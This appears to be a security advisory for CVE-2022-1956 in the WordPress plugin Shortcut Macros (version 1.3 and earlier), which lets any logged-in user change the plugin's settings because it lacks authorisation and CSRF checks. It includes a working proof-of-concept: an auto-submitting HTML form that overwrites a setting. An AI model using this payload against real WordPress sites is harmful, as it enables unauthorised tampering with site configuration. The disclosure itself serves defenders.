Shortcut Macros <= 1.3 – Subscriber+ Arbitrary Settings Update | CVE 2022-1956

Description

The plugin does not have authorisation and CSRF checks in place when updating its settings, which could allow any authenticated users, such as subscriber, to update them.

Proof of Concept

Open the following HTML code while being logged in as a subscriber, or make any logged in user open it (via a CSRF attack)

<form id="test" action="https://example.com/wp-admin/options-general.php" method="POST">
    <input type="text" name="ak_action" value="update_aksm_settings">
    <input type="text" name="aksm_k_1" value="aaa">
    <input type="text" name="aksm_v_1" value="hacked">
    <input type="text" name="submit_button" value="Update Shortcut Macros">
</form>
<script>
    document.getElementById("test").submit();
</script>

Note: Even though an error can occur, ie "Sorry, you are not allowed to access this page.", settings will be changed